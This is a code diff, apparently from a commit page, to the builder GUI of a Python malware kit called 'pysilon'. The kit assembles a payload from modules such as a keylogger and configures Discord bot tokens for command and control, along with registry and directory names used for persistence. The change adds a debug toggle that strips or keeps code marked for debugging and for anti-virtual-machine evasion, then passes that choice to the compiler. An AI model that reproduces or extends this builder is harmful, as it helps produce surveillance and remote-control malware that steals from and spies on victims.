22from tkinter import filedialog
33from PIL import ImageTk , Image
44import configparser
5+ import shutil
56import compiler
67import sys
78import os
1112config_path , status = 'configuration.ini' , 'configuration'
1213config = configparser .ConfigParser ()
1314config ['SETTINGS' ], config ['FUNCTIONALITY' ] = {}, {}
15+ debug_mode = False
1416
1517filenames = {
1618 'keylogr' : 'keylogger.py' ,
@@ -174,6 +176,17 @@ def disclaimer_toggle():
174176 config_modification ()
175177 generate_source_btn ['state' ] = DISABLED
176178
179+ def debug_toggle ():
180+ global debug_mode
181+ if not debug_mode :
182+ debug_mode_btn ['text' ] = 'Debug mode [ON]'
183+ debug_mode_btn ['fg' ] = 'white'
184+ debug_mode = True
185+ else :
186+ debug_mode_btn ['text' ] = 'Debug mode [OFF]'
187+ debug_mode_btn ['fg' ] = 'gray'
188+ debug_mode = False
189+
177190def assemble_source_code ():
178191 global source_code_modifiers , status , config_path
179192
@@ -194,6 +207,21 @@ def assemble_source_code():
194207 save_configuration ()
195208 config = configparser .ConfigParser (); config .read (config_path )
196209
210+ try : shutil .rmtree ('resources/source_code/tmp' )
211+ except : pass
212+ os .mkdir ('resources/source_code/tmp' )
213+ for file in filenames .keys ():
214+ shutil .copy (f'resources/source_code/{ filenames [file ]} ' , f'resources/source_code/tmp/{ filenames [file ]} ' )
215+ with open (f'resources/source_code/tmp/{ filenames [file ]} ' , 'r' , encoding = 'utf-8' ) as get_raw_source :
216+ source_unlogged = get_raw_source .readlines ()
217+ with open (f'resources/source_code/{ filenames [file ]} ' , 'w' , encoding = 'utf-8' ) as log_source :
218+ for line_number , line in enumerate (source_unlogged ):
219+ if len (line .lstrip ()) > 0 :
220+ if line .lstrip ()[:6 ] == '#.log ' :
221+ log_source .write (' ' * (len (line )- len (line .lstrip ()))+ f'{ line .lstrip ()[:- 1 ]} ({ filenames [file ]} :{ line_number } )*\n ' )
222+ else :
223+ log_source .write (line )
224+
197225 for individual_functionality in config ['FUNCTIONALITY' ].keys ():
198226 if config ['FUNCTIONALITY' ][individual_functionality ] == 'True' :
199227 with open ('resources/source_code/' + filenames [individual_functionality ], 'r' , encoding = 'utf-8' ) as copy_function :
@@ -226,9 +254,16 @@ def assemble_source_code():
226254 else : source_assembled .write ('\n ' )
227255 if base_line == '# [pysilon_var] bottom 0\n ' and config ['FUNCTIONALITY' ]['keylogr' ] == 'False' :
228256 source_assembled .write ('for token in bot_tokens:\n try:\n client.run(token)\n except: pass' )
257+ elif '# [pysilon_mark] !debug' in base_line and not debug_mode : pass
258+ elif '# [pysilon_mark] !anti-vm' in base_line and debug_mode : pass
229259 else :
230260 source_assembled .write (base_line )
231261
262+ for file in filenames .keys ():
263+ os .system (f'del resources\\ source_code\\ { filenames [file ]} ' )
264+ shutil .copy (f'resources/source_code/tmp/{ filenames [file ]} ' , f'resources/source_code/{ filenames [file ]} ' )
265+ shutil .rmtree ('resources/source_code/tmp' )
266+
232267 generate_source_btn ['state' ] = DISABLED
233268 generate_source_btn ['text' ] = 'Source generated'
234269 if status != 'compiled' : compile_btn ['state' ] = NORMAL
@@ -248,7 +283,7 @@ def change_icon(path=False):
248283 config_modification ()
249284
250285def compile_source ():
251- global status
286+ global status , debug_mode
252287 custom_imports = configparser .ConfigParser ()
253288 custom_imports .read ('resources/custom_imports.ini' )
254289 with open ('custom_imports.txt' , 'w' ) as imports_file :
@@ -261,7 +296,7 @@ def compile_source():
261296 for general_packages in custom_imports ['general' ].keys ():
262297 imports_file .write (custom_imports ['general' ][general_packages ] + '\n ' )
263298
264- response = compiler .compile ()
299+ response = compiler .compile (debug_mode )
265300 compile_btn ['state' ] = DISABLED
266301 status = 'compiled'
267302
@@ -307,6 +342,9 @@ def config_modification(var=None, index=None, mode=None):
307342 icon_btn = Button (settings_canvas , image = icon_photo , state = NORMAL , width = 120 , height = 120 , command = change_icon )
308343 icon_btn .grid (row = 10 , column = 1 , pady = 2 , sticky = NW , rowspan = 6 )
309344
345+ debug_mode_btn = Button (settings_canvas , text = 'Debug mode [OFF]' , fg = 'gray' , state = NORMAL , width = 12 , height = 1 , command = debug_toggle )
346+ debug_mode_btn .grid (row = 15 , column = 1 , padx = (5 , 5 ), pady = 10 , sticky = NSEW , rowspan = 2 )
347+
310348 var_server_id = StringVar ()
311349 var_bot_token_1 = StringVar ()
312350 var_bot_token_2 = StringVar ()
@@ -321,6 +359,7 @@ def config_modification(var=None, index=None, mode=None):
321359 registry_name = Entry (settings_canvas , textvariable = var_registry_name )
322360 directory_name = Entry (settings_canvas , textvariable = var_directory_name )
323361 executable_name = Entry (settings_canvas , textvariable = var_executable_name )
362+
324363
325364 var_server_id .trace_add ("write" , config_modification )
326365 var_bot_token_1 .trace_add ("write" , config_modification )
0 commit comments